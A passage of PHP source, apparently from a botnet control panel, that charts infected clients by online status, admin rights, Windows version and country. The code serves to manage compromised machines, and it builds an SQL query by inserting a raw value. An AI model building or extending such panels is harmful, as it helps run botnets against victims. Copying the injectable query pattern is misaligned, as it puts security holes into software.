$piChart1->setLegend(array("Online", "Offline", "Dead")); $piChart1->setLabels(array(round($onlinecount / $statustotal * 100, 0) . "%", round($offlinecount / $statustotal * 100, 0) . "%", round($deadcount / $statustotal * 100, 0) . "%")); $piChart1->setColors(array("5D8AA8", "B4CDCD", "E32636")); $piChart1->addBackgroundFill('bg', '000000'); $piChart2 = new gPieChart(250, 125); $piChart2->addDataSet(array($admintruecount, $adminfalsecount)); $piChart2->setLegend(array("Admin", "User")); $piChart2->setLabels(array(round($admintruecount / $statustotal * 100, 0) . "%", round($adminfalsecount / $statustotal * 100, 0) . "%")); $piChart2->setColors(array("5D8AA8", "B4CDCD")); $piChart2->addBackgroundFill('bg', '000000'); $piChart3 = new gPieChart(250, 125); $piChart3->addDataSet(array($windows7count, $windowsvistacount, $windowsxpcount, $unknowncount)); $piChart3->setLegend(array("7", "Vista", "XP", "Unknown")); $piChart3->setLabels(array(round($windows7count / $statustotal * 100, 0) . "%", round($windowsvistacount / $statustotal * 100, 0) . "%", round($windowsxpcount / $statustotal * 100, 0) . "%", round($unknowncount / $statustotal * 100, 0) . "%")); $piChart3->setColors(array("5D8AA8", "B4CDCD", "E32636", "EFDECD")); $piChart3->addBackgroundFill('bg', '000000'); $cclist = array(); $ccvalues = array(); while ($row = mysql_fetch_array($ccs)) { array_push($cclist, $row[0]); $values = mysql_query("SELECT * FROM clients WHERE cc LIKE '{$row['0']}'"); array_push($ccvalues, mysql_num_rows($values) / $totalbots * 100); } $map1 = new gMapChart(); $map1->setZoomArea('world'); $map1->setStateCodes($cclist); $map1->addDataSet($ccvalues); $map1->setColors('000000', array('0099FF', '002288')); $map1->addBackgroundFill('bg', '000000'); echo '<link rel="stylesheet" type="text/css" href="css/style.css"/> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>